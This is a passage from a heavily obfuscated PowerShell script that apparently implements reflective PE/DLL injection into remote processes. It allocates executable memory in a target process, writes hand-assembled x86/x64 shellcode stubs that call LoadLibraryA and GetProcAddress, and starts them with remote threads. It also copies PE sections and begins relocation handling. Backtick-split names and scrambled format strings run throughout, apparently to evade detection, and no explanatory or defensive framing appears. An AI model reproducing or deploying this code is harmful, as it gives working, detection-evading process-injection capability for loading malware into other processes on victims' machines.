  1038.         ${I`mpo`RTDlLpaTH} = [System.Runtime.InteropServices.Marshal]::"PTRtOST`RI`Ng`Ansi"(${imPO`RTD`Llpa`ThPTR})
  1039.         ${dlLPa`T`HSize} = [UIntPtr][UInt64]([UInt64]${iM`po`R`TDllPa`Th}."le`NGTh" + 1)
  1040.         ${riMPORtDLL`p`A`THPtR} = ${Win3`2`FUNCT`i`ONs}."vIRTuA`lA`LL`oC`Ex"."Invo`ke"(${R`emotE`Pro`ChanDle}, [IntPtr]::"ZE`Ro", ${DlLpaTh`S`IZe}, ${win32c`ON`s`T`AntS}."mem_CoM`M`it" -bor ${Win32`cOnsTA`N`Ts}."mE`M_REseR`VE", ${wiN3`2c`o`NsTAnts}."pAge_RE`AdwR`ITe")
  1041.         if (${RImpORT`Dl`lPa`T`HP`Tr} -eq [IntPtr]::"ze`Ro")
  1042.         {
  1043.             Throw ""
  1044.         }
  1045.         [UIntPtr]${NUMbYTE`sw`RITten} = [UIntPtr]::"zE`Ro"
  1046.         ${S`U`CCESs} = ${wIn3`2`FUNCti`onS}."W`RiTePro`c`eSSME`M`oRY"."I`NVOKE"(${RemOTep`RO`Ch`AnDlE}, ${rIM`portdLL`PA`THPtr}, ${Im`PorTDLLp`Ath`P`TR}, ${DLLp`AThs`i`zE}, [Ref]${num`BY`TeSW`Rit`Ten})
  1047.        
  1048.         if (${Su`cCE`ss} -eq ${Fa`l`Se})
  1049.         {
  1050.             Throw ""
  1051.         }
  1052.         if (${DlLPA`T`hSize} -ne ${nu`mByT`EswRITTeN})
  1053.         {
  1054.             Throw ""
  1055.         }
  1056.        
  1057.         ${KeR`NEL3`2H`A`Ndle} = ${wi`N32`FU`NcT`IOnS}."GeTMO`DuL`e`hAn`Dle"."inV`Oke"("kernel32.dll")
  1058.         ${lOA`dlibRar`y`AA`ddr} = ${Win3`2f`Un`ctiONs}."GeTpR`o`CAddR`esS"."iN`Vo`Ke"(${kEr`Nel3`2hAnDLE}, "LoadLibraryA")
  1059.        
  1060.         [IntPtr]${d`lLaDD`R`EsS} = [IntPtr]::"z`erO"
  1061.         if (${Pe`i`NFo}."pe64B`iT" -eq ${T`RUE})
  1062.         {
  1063.             ${lO`ADlIBRary`ArE`Tmem} = ${w`i`N3`2f`UNctiONS}."virTUA`Lal`LOcEX"."iN`Vo`Ke"(${ReMot`eprOC`H`An`Dle}, [IntPtr]::"Z`ero", ${D`lLpATh`sI`ze}, ${w`i`N32C`oNStAntS}."mem`_cO`m`MIT" -bor ${w`i`N32C`OnsTANtS}."m`EM_`R`EServe", ${wI`N3`2c`on`stAnTS}."pAGE_R`eADW`R`itE")
  1064.             if (${LOadLibRarY`A`R`et`MEM} -eq [IntPtr]::"z`ERO")
  1065.             {
  1066.                 Throw ""
  1067.             }
  1068.            
  1069.            
  1070.             ${LOADLi`B`RAr`ysC1} = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
  1071.             ${lO`ADl`ib`RArYsc2} = @(0x48, 0xba)
  1072.             ${lo`AdL`iB`RaryS`c3} = @(0xff, 0xd2, 0x48, 0xba)
  1073.             ${lO`A`DLI`BRarySc4} = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
  1074.            
  1075.             ${sClE`N`GTh} = ${lo`A`DlIbRa`RySC1}."LEN`g`Th" + ${L`o`ADl`IBrarySc2}."L`e`NGTH" + ${LoA`dLiB`RAry`S`C3}."Len`GTH" + ${LOa`dlib`RAR`Ysc4}."lenG`TH" + (${P`TrSiZE} * 3)
  1076.             ${scPS`mEm} = [System.Runtime.InteropServices.Marshal]::"aLLo`Ch`gLO`BAL"(${sC`L`e`NGth})
  1077.             ${SC`p`sMe`mOrigiN`AL} = ${scpS`MEM}
  1078.            
  1079.             &("{5}{0}{3}{2}{1}{4}" -f'rite','Mem','BytesTo','-','ory','W') -Bytes ${LOaDLI`B`RaRYs`c1} -MemoryAddress ${SC`pSM`Em}
  1080.             ${s`CPS`meM} = &("{3}{4}{0}{2}{1}"-f 'Si','ned','gnedIntAsUnsig','Ad','d-') ${s`CP`SmEm} (${lO`AD`l`iBrARysC1}."L`e`NGtH")
  1081.             [System.Runtime.InteropServices.Marshal]::"sT`RUc`TU`REtop`TR"(${rI`mPORTD`LlP`A`ThPTR}, ${S`c`PSmeM}, ${fa`lSE})
  1082.             ${s`cp`smEm} = &("{2}{0}{3}{1}"-f'Uns','gned','Add-SignedIntAs','i') ${sC`P`SmEm} (${pT`R`SIZE})
  1083.             &("{2}{0}{3}{4}{1}" -f 'BytesToMe','y','Write-','m','or') -Bytes ${LO`ADLIBr`ARYSC2} -MemoryAddress ${sc`Ps`MEm}
  1084.             ${sCpS`m`Em} = &("{0}{1}{4}{5}{2}{3}"-f 'Add-','Si','dIntAsUnsigne','d','gn','e') ${s`cp`smeM} (${L`OaDL`Ibra`R`YSC2}."L`engTH")
  1085.             [System.Runtime.InteropServices.Marshal]::"st`RU`Ctu`REtOPTr"(${lOaDlI`B`RA`RY`A`ADdR}, ${s`C`psMEM}, ${F`Alse})
  1086.             ${SC`PSm`em} = &("{3}{4}{1}{2}{5}{0}"-f 'gned','Si','gnedIntAsU','Add','-','nsi') ${SCP`sm`Em} (${P`T`RSIZe})
  1087.             &("{2}{5}{4}{1}{0}{3}"-f'BytesToMem','e-','W','ory','t','ri') -Bytes ${loaDlib`R`Ary`Sc3} -MemoryAddress ${S`CPSm`EM}
  1088.             ${ScPsm`em} = &("{1}{4}{2}{0}{3}"-f 'ns','A','gnedIntAsU','igned','dd-Si') ${SC`P`sMEm} (${loa`DliBr`A`R`YsC3}."l`EN`gTH")
  1089.             [System.Runtime.InteropServices.Marshal]::"sTRuctuRe`T`o`ptr"(${L`oad`L`ibR`ArY`AR`eTmEm}, ${scP`sMEM}, ${fAl`se})
  1090.             ${s`cpsmem} = &("{3}{4}{1}{2}{0}"-f'Unsigned','I','ntAs','Add-Sig','ned') ${ScP`sM`em} (${pTR`SI`zE})
  1091.             &("{0}{4}{2}{3}{1}"-f'W','mory','e-Byt','esToMe','rit') -Bytes ${LOa`dL`i`BraRYsc4} -MemoryAddress ${s`cpSMEm}
  1092.             ${s`cPsMem} = &("{0}{1}{2}{3}" -f 'Add-SignedIn','tAsU','nsig','ned') ${scPs`m`EM} (${lOADLibrA`R`yS`c4}."L`EngTH")
  1093.            
  1094.             ${r`sc`ADDr} = ${WI`N32fU`NctI`O`NS}."viR`Tu`Al`AllOceX"."iNv`o`KE"(${rE`mo`TEpROchA`NDlE}, [IntPtr]::"Z`eRo", [UIntPtr][UInt64]${SC`leN`GTh}, ${w`IN32`Cons`TANTs}."m`eM`_`COMmIT" -bor ${wiN32`c`oN`STAN`TS}."m`EM_ReSer`VE", ${WIn32coN`S`TAntS}."p`Age`_e`xEcUTE_`R`EAd`WRite")
  1095.             if (${RS`cADDr} -eq [IntPtr]::"Z`ERO")
  1096.             {
  1097.                 Throw ""
  1098.             }
  1099.            
  1100.             ${sUc`ceSs} = ${Win`3`2FU`NctIO`NS}."wR`iTeprOC`E`SsMEmOry"."INVO`kE"(${rEmotE`Pro`ch`AnDle}, ${r`scA`Ddr}, ${sc`ps`mem`ORI`gi`NAL}, [UIntPtr][UInt64]${S`clE`NGTH}, [Ref]${nu`mbYT`esW`R`IttEN})
  1101.             if ((${S`Ucce`SS} -eq ${Fal`sE}) -or ([UInt64]${Num`BYTe`SWri`T`Ten} -ne [UInt64]${Sc`l`engtH}))
  1102.             {
  1103.                 Throw ""
  1104.             }
  1105.            
  1106.             ${RthRe`ADhand`le} = &("{1}{4}{3}{2}{0}"-f'moteThread','Cr','e-Re','t','ea') -ProcessHandle ${rEM`OTE`pRoch`A`N`dLE} -StartAddress ${R`scAd`dr} -Win32Functions ${W`In32Func`Tio`Ns}
  1107.             ${R`eSU`lT} = ${WiN32f`Unc`T`i`ONs}."WAitF`o`Rsingle`oBject"."IN`VokE"(${RTHR`e`AD`HaNdle}, 20000)
  1108.             if (${RE`s`ULt} -ne 0)
  1109.             {
  1110.                 Throw ""
  1111.             }
  1112.            
  1113.             [IntPtr]${reT`U`RNVa`lmeM} = [System.Runtime.InteropServices.Marshal]::"al`LOcHgLO`B`Al"(${PT`Rsi`zE})
  1114.             ${rE`Sult} = ${wIN32`F`UnCtI`o`Ns}."Re`AdPRoCES`SM`emOry"."InVO`Ke"(${ReMOtE`PR`oCh`AndLe}, ${lOAd`Li`BRARy`ARet`m`em}, ${R`et`Ur`NVALMEM}, [UIntPtr][UInt64]${PTr`Size}, [Ref]${NumByT`E`sWRIt`T`en})
  1115.             if (${R`ES`Ult} -eq ${F`AlsE})
  1116.             {
  1117.                 Throw ""
  1118.             }
  1119.             [IntPtr]${dLl`ADd`Ress} = [System.Runtime.InteropServices.Marshal]::"p`TRTOst`Ru`cturE"(${ReT`URNV`AlMeM}, [Type][IntPtr])
  1120.             ${w`In`32`FUNC`TioNs}."VirTUalFr`e`EEX"."iN`VoKE"(${REMOte`proC`Ha`NDLe}, ${Lo`AD`LIB`R`ARY`A`ReTmEM}, [UIntPtr][UInt64]0, ${wi`N3`2coNStAnTs}."mEm`_REL`E`ASe") | &("{1}{2}{0}"-f'l','Out-N','ul')
  1121.             ${wIN32f`U`NCt`I`ons}."VI`Rt`UA`l`FReeeX"."i`NVOKE"(${REmotEPro`CHA`Nd`le}, ${rs`CAd`dr}, [UIntPtr][UInt64]0, ${WIn32C`O`NsT`An`Ts}."mEm_`R`eLea`Se") | &("{0}{1}" -f 'O','ut-Null')
  1122.         }
  1123.         else
  1124.         {
  1125.             [IntPtr]${rt`h`RE`AdHA`NdlE} = &("{4}{1}{2}{3}{0}"-f 'd','te-','Re','moteThrea','Crea') -ProcessHandle ${REMO`T`eP`RoC`HaNdlE} -StartAddress ${LOAD`L`ib`RAry`Aad`DR} -ArgumentPtr ${rI`mpo`RTdllPat`H`pTR} -Win32Functions ${WiN32f`U`NctIO`Ns}
  1126.             ${r`e`suLT} = ${W`IN`32FUNCTi`Ons}."w`AIt`Fors`i`NglEO`BjECT"."inVO`kE"(${RT`HRE`Ad`HanDle}, 20000)
  1127.             if (${Res`U`LT} -ne 0)
  1128.             {
  1129.                 Throw ""
  1130.             }
  1131.            
  1132.             [Int32]${eXiT`c`O`DE} = 0
  1133.             ${R`esU`lt} = ${WI`N3`2`FunCTIoNs}."gET`e`xITCo`DE`THReAD"."in`Vo`ke"(${r`THReA`dHA`NDlE}, [Ref]${eXI`TCO`dE})
  1134.             if ((${r`eSu`lT} -eq 0) -or (${exit`cO`DE} -eq 0))
  1135.             {
  1136.                 Throw ""
  1137.             }
  1138.            
  1139.             [IntPtr]${DL`la`d`dREsS} = [IntPtr]${e`xi`TcodE}
  1140.         }
  1141.        
  1142.         ${wIN3`2fU`NCtiO`NS}."VIR`TUA`lFR`EEeX"."IN`VOkE"(${rem`oteproc`HaNd`Le}, ${R`imp`oRTdllp`A`ThPtr}, [UIntPtr][UInt64]0, ${W`In32`c`ONS`TanTs}."m`E`M`_RelEaSE") | &("{2}{0}{1}" -f 't-Nul','l','Ou')
  1143.        
  1144.         return ${d`ll`AD`DresS}
  1145.     }
  1146.    
  1147.    
  1148.     Function g`e`T-Re`moT`EPRocAdDrEsS
  1149.     {
  1150.         Param(
  1151.         [Parameter(pOsiTIOn=0, mANdATOry=${t`RUE})]
  1152.         [IntPtr]
  1153.         ${R`E`mo`Te`pROch`ANDLE},
  1154.        
  1155.         [Parameter(POSition=1, MaNdAtory=${t`RuE})]
  1156.         [IntPtr]
  1157.         ${RE`mOtE`Dllhand`LE},
  1158.        
  1159.         [Parameter(posItIoN=2, mAndatORy=${t`RuE})]
  1160.         [IntPtr]
  1161.         ${fU`NctiO`N`NAMeptr},
  1162.         [Parameter(PoSitIoN=3, maNdatorY=${t`RUE})]
  1163.         [Bool]
  1164.         ${l`oADb`yORDINAl}
  1165.         )
  1166.         ${pt`R`siZe} = [System.Runtime.InteropServices.Marshal]::"SI`zeoF"([Type][IntPtr])
  1167.         [IntPtr]${RfU`NcN`AMep`Tr} = [IntPtr]::"Z`ERo"  
  1168.         if (-not ${LOAdB`Yo`R`dINAl})
  1169.         {
  1170.             ${F`UncTI`ONnaMe} = [System.Runtime.InteropServices.Marshal]::"PTr`T`OSTrINg`ANsI"(${funCtI`o`Nn`Ameptr})
  1171.             ${f`UNcTI`o`N`NamesIze} = [UIntPtr][UInt64]([UInt64]${FUncTI`Onna`mE}."L`EnGtH" + 1)
  1172.             ${r`FUNcNAMeP`TR} = ${WIN32`FUnC`T`iONs}."vIRtuA`Lall`o`C`Ex"."invO`kE"(${ReMoTe`PR`o`CHa`N`dLE}, [IntPtr]::"Z`Ero", ${F`UnC`Tio`NnamEsI`Ze}, ${wI`N32co`Ns`TAnTs}."me`M_`cOMmIT" -bor ${WiN`32C`ONs`TAN`TS}."mem_R`EsE`RvE", ${wI`N32Con`s`TaNts}."pAge_`R`ea`DwRitE")
  1173.             if (${rF`UnCNam`EpTr} -eq [IntPtr]::"z`eRO")
  1174.             {
  1175.                 Throw ""
  1176.             }
  1177.             [UIntPtr]${n`UMB`Y`TeS`WRitT`En} = [UIntPtr]::"ze`RO"
  1178.             ${SuCC`E`sS} = ${WIn32fu`N`CtiO`NS}."Wr`ItEPRoCEs`SMe`M`oRY"."Inv`OkE"(${Rem`OtEP`RoCh`A`NDLE}, ${r`FUNcn`A`MePTr}, ${Function`NAm`e`PTr}, ${func`TIOn`N`A`MEsIZE}, [Ref]${n`UMb`YTe`sWRIT`TEN})
  1179.             if (${s`U`cCess} -eq ${FA`LSE})
  1180.             {
  1181.                 Throw ""
  1182.             }
  1183.             if (${fuN`CtIo`N`N`AMeSizE} -ne ${NUM`BytEs`w`R`itTEN})
  1184.             {
  1185.                 Throw ""
  1186.             }
  1187.         }
  1188.         else
  1189.         {
  1190.             ${r`FUncNa`M`ePtR} = ${FUN`CTioNnAM`e`ptr}
  1191.         }
  1192.        
  1193.         ${kErn`el3`2han`dLE} = ${w`in`32`FunCT`iONS}."GE`TModu`LehAN`DlE"."INv`o`Ke"("kernel32.dll")
  1194.         ${GeT`PR`o`C`ADdRESSa`DDr} = ${WI`N3`2fu`NcTi`onS}."GetP`RocaDD`R`E`ss"."in`VOke"(${KerNel`3`2`hAndLE}, "GetProcAddress")
  1195.        
  1196.         ${gEtpROc`A`ddrE`s`SrETmeM} = ${wi`N32fuN`C`TIONs}."vI`Rtu`AlaL`loCEx"."inv`O`kE"(${rem`oTEPrO`c`H`AnDLE}, [IntPtr]::"Z`eRo", [UInt64][UInt64]${p`Trsi`ze}, ${wi`N3`2cONsT`AnTS}."meM`_Com`mIT" -bor ${wIn`32co`NSTA`NtS}."M`em_reSE`Rve", ${w`In32cO`Nstants}."PagE_REaD`W`R`Ite")
  1197.         if (${GetpRoc`A`dd`RESs`R`EtmeM} -eq [IntPtr]::"Ze`Ro")
  1198.         {
  1199.             Throw ""
  1200.         }
  1201.        
  1202.        
  1203.         [Byte[]]${GE`T`pRO`cAD`DReSsSC} = @()
  1204.         if (${p`EInfO}."pE`64bit" -eq ${Tr`Ue})
  1205.         {
  1206.             ${geTpRo`C`AD`dr`esS`sC1} = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
  1207.             ${GeTPrO`caD`d`Re`sssC2} = @(0x48, 0xba)
  1208.             ${g`etp`Roc`A`DdRESssc3} = @(0x48, 0xb8)
  1209.             ${g`et`PrOCa`dDre`SSsc4} = @(0xff, 0xd0, 0x48, 0xb9)
  1210.             ${GE`Tpr`OcAd`DRESs`sc5} = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
  1211.         }
  1212.         else
  1213.         {
  1214.             ${geTpro`C`AdDReSS`sC1} = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8)
  1215.             ${gEtPr`OCaDdR`e`SS`sc2} = @(0xb9)
  1216.             ${getProcaD`d`REs`sS`C3} = @(0x51, 0x50, 0xb8)
  1217.             ${GEtp`R`OCad`D`RESs`sC4} = @(0xff, 0xd0, 0xb9)
  1218.             ${geT`pROC`A`ddre`SsSc5} = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3)
  1219.         }
  1220.         ${sCl`eNg`Th} = ${getp`Roc`AdDressS`C1}."l`En`GtH" + ${gEt`Proc`Add`ReSSS`C2}."l`E`NgtH" + ${gET`pro`CADd`R`eSSsC3}."lE`Ng`Th" + ${gEt`PROCaDd`ResSs`c4}."L`enGTH" + ${gE`T`PROCaDd`ResSS`c5}."lEn`GtH" + (${PTR`sIze} * 4)
  1221.         ${S`Cps`MEM} = [System.Runtime.InteropServices.Marshal]::"a`LlOChgL`obal"(${SC`lenGth})
  1222.         ${scpSM`Em`orIG`in`AL} = ${s`cpSM`Em}
  1223.        
  1224.         &("{2}{1}{3}{0}"-f'ry','ite-Bytes','Wr','ToMemo') -Bytes ${G`Etp`R`oCa`dDreSSS`C1} -MemoryAddress ${Sc`PS`mem}
  1225.         ${scPsM`em} = &("{5}{3}{2}{1}{0}{4}"-f'ign','ntAsUns','ignedI','dd-S','ed','A') ${s`cP`smeM} (${getPROC`ADd`R`eSSSc1}."l`ENgth")
  1226.         [System.Runtime.InteropServices.Marshal]::"s`T`RuCTUrETOp`Tr"(${ReMOTedllh`An`d`Le}, ${S`cpS`mEm}, ${FA`LSE})
  1227.         ${S`cPSm`EM} = &("{0}{2}{5}{4}{1}{3}{6}"-f 'A','g','dd-S','n','tAsUnsi','ignedIn','ed') ${s`Cp`SMEM} (${p`TrSi`zE})
  1228.         &("{1}{0}{3}{2}"-f'tes','Write-By','mory','ToMe') -Bytes ${geTpR`ocAD`DResss`c2} -MemoryAddress ${S`CpSM`eM}
  1229.         ${s`CPSM`EM} = &("{5}{2}{0}{4}{7}{1}{3}{6}"-f 'S','ed','-','I','i','Add','ntAsUnsigned','gn') ${ScPS`M`eM} (${g`ET`PROc`ADDres`ssC2}."le`N`GTh")
  1230.         [System.Runtime.InteropServices.Marshal]::"S`TRUc`TurE`TO`ptR"(${rF`UNCN`A`mEpTR}, ${scpsm`EM}, ${fa`L`Se})
  1231.         ${sC`p`SMeM} = &("{0}{2}{3}{1}" -f'Add-Sign','ed','edIn','tAsUnsign') ${scP`Smem} (${ptRSi`ze})
  1232.         &("{2}{1}{3}{0}"-f 'ry','-BytesTo','Write','Memo') -Bytes ${geTpRo`cA`DDReSSs`c3} -MemoryAddress ${scP`sM`Em}
  1233.         ${Scp`SMEM} = &("{6}{5}{1}{0}{3}{4}{2}"-f'ig','d-S','sUnsigned','nedInt','A','d','A') ${SC`Psm`EM} (${g`e`TpROcAdd`ReSSsc3}."LeN`gTH")
  1234.         [System.Runtime.InteropServices.Marshal]::"s`TRuct`URe`T`OPTR"(${geT`PR`o`caDDreS`sADDr}, ${Sc`pSM`Em}, ${Fal`SE})
  1235.         ${scPsM`Em} = &("{2}{0}{4}{6}{3}{1}{5}"-f 'Sig','ne','Add-','nsig','n','d','edIntAsU') ${sc`psmEm} (${P`TRsIZe})
  1236.         &("{2}{1}{3}{0}"-f 'y','e-BytesTo','Writ','Memor') -Bytes ${GETPRoCAD`DRe`s`SsC4} -MemoryAddress ${SC`PS`mEm}
  1237.         ${SC`p`SmEm} = &("{0}{2}{3}{1}" -f'A','ed','dd-S','ignedIntAsUnsign') ${ScPS`m`eM} (${Ge`TProCADdr`eSsS`c4}."L`e`NgtH")
  1238.         [System.Runtime.InteropServices.Marshal]::"STRuc`Ture`TO`ptR"(${Getp`R`o`CAddrESs`RetMEm}, ${s`Cps`mEm}, ${F`ALse})
  1239.         ${SCP`Sm`eM} = &("{4}{0}{3}{5}{1}{2}" -f'gn','ne','d','edIntAsUns','Add-Si','ig') ${s`cPsmem} (${P`TRSiZe})
  1240.         &("{3}{0}{2}{1}{4}"-f'e-By','oMem','tesT','Writ','ory') -Bytes ${GEtPr`OCaDdR`Es`S`sc5} -MemoryAddress ${sC`p`SMEM}
  1241.         ${sc`PSMem} = &("{4}{3}{1}{0}{5}{2}" -f'sUn','dIntA','gned','d-Signe','Ad','si') ${S`CPs`mEM} (${gEtP`R`Oca`DDR`eSssC5}."leNg`Th")
  1242.        
  1243.         ${RscaD`DR} = ${win`32fUnC`TIONS}."VIrtUa`La`LLoC`ex"."Inv`okE"(${rE`MOTEpR`o`CHan`Dle}, [IntPtr]::"Ze`Ro", [UIntPtr][UInt64]${Sc`L`EnGtH}, ${wIn3`2co`NSta`NtS}."m`e`M_Com`mIT" -bor ${WIN32`cOn`sT`AN`Ts}."me`M`_reSErVE", ${W`iN32`consT`ANTS}."page_EX`e`CUT`e_ReA`d`wRIte")
  1244.         if (${rScA`d`DR} -eq [IntPtr]::"zE`Ro")
  1245.         {
  1246.             Throw ""
  1247.         }
  1248.         [UIntPtr]${NU`MBY`TE`Sw`RiTTEN} = [UIntPtr]::"Z`ErO"
  1249.         ${su`CcEss} = ${wIN32`FUncT`io`NS}."wr`Ite`pR`oCEsSmeMOrY"."i`Nvo`Ke"(${r`EmOTe`pRo`CHAN`dLE}, ${R`SCAd`dR}, ${sCpSm`em`OrIgINAL}, [UIntPtr][UInt64]${S`Cl`ength}, [Ref]${NUMbYtes`wr`iTt`EN})
  1250.         if ((${S`UcC`ESS} -eq ${FAl`sE}) -or ([UInt64]${n`U`M`BYtesWRItTEN} -ne [UInt64]${scL`ENgth}))
  1251.         {
  1252.             Throw ""
  1253.         }
  1254.        
  1255.         ${RtHread`h`A`N`dle} = &("{2}{4}{0}{1}{3}" -f '-R','e','Cre','moteThread','ate') -ProcessHandle ${R`e`moT`Ep`ROCha`Ndle} -StartAddress ${r`SCaDdr} -Win32Functions ${WiN32fu`NCtI`Ons}
  1256.         ${rE`su`lt} = ${WIN3`2fuNcTI`ons}."w`AItFOrSI`NGl`EOBJECT"."I`NvOKE"(${rtH`R`eAD`HandLe}, 20000)
  1257.         if (${R`ESU`LT} -ne 0)
  1258.         {
  1259.             Throw ""
  1260.         }
  1261.        
  1262.         [IntPtr]${re`TUrNvaL`M`em} = [System.Runtime.InteropServices.Marshal]::"ALl`ochglo`BaL"(${PT`RSi`ze})
  1263.         ${Re`SU`lT} = ${wi`N`32FunC`TI`ons}."REAd`p`ROCEssMe`MORY"."InvO`ke"(${rEMot`E`Procha`ND`lE}, ${GE`TpR`oCadd`RES`sR`ETmEm}, ${r`E`T`Urnval`mEM}, [UIntPtr][UInt64]${PT`RSIze}, [Ref]${num`By`TesWRiTTeN})
  1264.         if ((${r`E`sULt} -eq ${F`AL`se}) -or (${nUmbYTEswri`T`TeN} -eq 0))
  1265.         {
  1266.             Throw ""
  1267.         }
  1268.         [IntPtr]${pR`OCADd`ResS} = [System.Runtime.InteropServices.Marshal]::"PTrTos`TRUctu`RE"(${rEtuR`NVaL`M`em}, [Type][IntPtr])
  1269.         ${wiN32`FU`N`CtiONs}."VIr`TU`Al`FRe`eeX"."i`NvO`kE"(${rEmOtEP`R`ocH`AN`Dle}, ${rSc`Ad`dr}, [UIntPtr][UInt64]0, ${wIN32Co`NS`TA`N`Ts}."M`Em`_RELEaSE") | &("{0}{2}{1}"-f'Out','ll','-Nu')
  1270.         ${WiN`32`FunCTi`ONS}."VirTUA`lfr`E`EeX"."INv`OkE"(${REmOte`P`Ro`chanD`le}, ${GEtProCadD`REssR`et`m`EM}, [UIntPtr][UInt64]0, ${Wi`N3`2CONStAn`TS}."MeM`_`ReLEASE") | &("{1}{0}{2}"-f'ut','O','-Null')
  1271.         if (-not ${Loa`dB`yo`Rdi`NAL})
  1272.         {
  1273.             ${wi`N32f`UNcTiONS}."vIRTuaL`F`Reeex"."inV`o`Ke"(${REm`o`TePro`CH`ANDle}, ${RFu`N`cNAmEP`TR}, [UIntPtr][UInt64]0, ${WiN3`2c`oNStAn`Ts}."m`eM_`RE`leaSe") | &("{2}{0}{1}" -f'ut-','Null','O')
  1274.         }
  1275.        
  1276.         return ${Pr`Oc`AdD`Ress}
  1277.     }
  1278.     Function CO`PY-SectI`O`Ns
  1279.     {
  1280.         Param(
  1281.         [Parameter(pOsITION = 0, mAnDaTORy = ${t`RUE})]
  1282.         [Byte[]]
  1283.         ${peby`T`eS},
  1284.        
  1285.         [Parameter(POSitiOn = 1, mANDAtORY = ${tr`UE})]
  1286.         [System.Object]
  1287.         ${PE`I`NFO},
  1288.        
  1289.         [Parameter(posiTion = 2, mandAToRY = ${t`RUe})]
  1290.         [System.Object]
  1291.         ${wI`N32`FU`N`CTIONs},
  1292.        
  1293.         [Parameter(pOSItIOn = 3, ManDAtORY = ${T`RuE})]
  1294.         [System.Object]
  1295.         ${wI`N32TYp`eS}
  1296.         )
  1297.        
  1298.         for( ${I} = 0; ${i} -lt ${pe`InFO}."iMagE`_n`T_`Hea`DeRs"."f`ILEhE`AdeR"."nu`mBER`O`FseC`TIOnS"; ${I}++)
  1299.         {
  1300.             [IntPtr]${s`ECtiONh`eADE`Rptr} = [IntPtr](&("{5}{0}{2}{4}{7}{6}{3}{1}"-f'-S','ned','ign','Unsig','e','Add','tAs','dIn') ([Int64]${p`ei`NFO}."s`ECT`iOnh`e`ADErPTr") (${I} * [System.Runtime.InteropServices.Marshal]::"SIz`EOF"([Type]${Win3`2ty`PeS}."imA`GE`_SEcT`i`On_heAd`er")))
  1301.             ${SE`CTIoN`h`eAD`ER} = [System.Runtime.InteropServices.Marshal]::"ptRT`OStruC`Ture"(${S`EctiON`heADeR`ptr}, [Type]${WIN3`2Ty`PEs}."IMag`e`_seCtI`on_heaDEr")
  1302.        
  1303.             [IntPtr]${seCtionde`s`Taddr} = [IntPtr](&("{3}{0}{6}{4}{5}{2}{1}"-f 'Si','ed','n','Add-','IntA','sUnsig','gned') ([Int64]${P`EIn`Fo}."P`eh`Andle") ([Int64]${S`e`CtIoNh`e`AdER}."VI`RtUaL`Ad`D`REsS"))
  1304.            
  1305.             ${siZ`EOfraWDa`TA} = ${sE`ctIOnh`EA`dER}."s`IzEoFra`w`D`ATa"
  1306.             if (${SECTIo`NHEa`DER}."P`Oi`Nt`E`RToRaWDAta" -eq 0)
  1307.             {
  1308.                 ${siZ`eoFrAW`d`A`Ta} = 0
  1309.             }
  1310.            
  1311.             if (${sIZ`eofRa`Wd`A`TA} -gt ${SeCTI`oN`H`eadEr}."VI`RTua`lsi`ZE")
  1312.             {
  1313.                 ${SIze`O`F`RAWda`TA} = ${sECT`Ion`hE`AdEr}."VIr`TuAl`SIZe"
  1314.             }
  1315.            
  1316.             if (${S`izeOfrA`wd`ATa} -gt 0)
  1317.             {
  1318.                 &("{3}{1}{2}{0}{5}{4}{6}"-f 'Ran','em','ory','Test-M','eVa','g','lid') -DebugString "Copy-Sections::MarshalCopy" -PEInfo ${pEIN`FO} -StartAddress ${se`CTi`o`NDEStAd`DR} -Size ${S`Izeo`FRAWD`Ata} | &("{2}{1}{0}"-f 'l','-Nul','Out')
  1319.                 [System.Runtime.InteropServices.Marshal]::"C`opY"(${p`EB`yteS}, [Int32]${SectiON`hEA`D`eR}."Poi`NtErTOr`A`WdAtA", ${s`ECTI`O`ND`eS`Taddr}, ${SizE`OfR`AwD`ATA})
  1320.             }
  1321.        
  1322.             if (${s`EC`TiOnHEa`DER}."SiZ`EOfRA`wdAtA" -lt ${SeCt`i`OnH`E`ADer}."vi`RTUAl`sIZe")
  1323.             {
  1324.                 ${D`i`FFEReNCe} = ${sE`cti`ONhE`ADeR}."virtUa`L`sizE" - ${siZ`EOF`RaW`dAta}
  1325.                 [IntPtr]${ST`A`RtaDdR`e`ss} = [IntPtr](&("{6}{1}{2}{5}{4}{3}{0}" -f 'ned','-Sign','ed','ig','s','IntAsUn','Add') ([Int64]${SECtIOnDESTa`D`Dr}) ([Int64]${SI`ZEofr`Aw`dATA}))
  1326.                 &("{0}{1}{4}{2}{3}" -f 'Test-Me','m','RangeVal','id','ory') -DebugString "Copy-Sections::Memset" -PEInfo ${PE`in`Fo} -StartAddress ${S`T`AR`TaD`dress} -Size ${DiF`F`erEncE} | &("{1}{2}{0}"-f'Null','O','ut-')
  1327.                 ${wIN32`FU`NcTi`ONS}."ME`mSet"."INv`okE"(${ST`A`Rtadd`REsS}, 0, [IntPtr]${di`Ff`ere`NcE}) | &("{0}{2}{1}"-f 'Ou','ll','t-Nu')
  1328.             }
  1329.         }
  1330.     }
  1331.     Function upd`ATE-meMO`R`Ya`dDRess`es
  1332.     {
  1333.         Param(
  1334.         [Parameter(posITIon = 0, mANdAtORY = ${t`RUE})]
  1335.         [System.Object]
  1336.         ${p`e`iNfo},
  1337.        
  1338.         [Parameter(pOsITion = 1, ManDaTorY = ${tr`UE})]
  1339.         [Int64]
  1340.         ${o`R`iGIN`ALImag`EBa`se},
  1341.        
  1342.         [Parameter(PosITIOn = 2, mAndatoRY = ${T`Rue})]
  1343.         [System.Object]
  1344.         ${wIN32Con`ST`AN`Ts},
  1345.        
  1346.         [Parameter(PoSitioN = 3, MANDaTory = ${tr`UE})]
  1347.         [System.Object]
  1348.         ${wi`N32TYp`eS}
  1349.         )
  1350.        
  1351.         [Int64]${baSE`DifFE`REN`CE} = 0
  1352.         ${AddD`iffeReN`ce} = ${t`Rue}
  1353.         [UInt32]${im`A`geBA`SerE`L`OCsize} = [System.Runtime.InteropServices.Marshal]::"SIZ`EOf"([Type]${win`3`2TYP`es}."im`AGE_B`AsE_`RElOcAtion")
  1354.        
  1355.         if ((${OrigI`NaLIm`Ag`eBASE} -eq [Int64]${Pe`inFo}."e`FfecTivepeH`A`N`D`LE") `
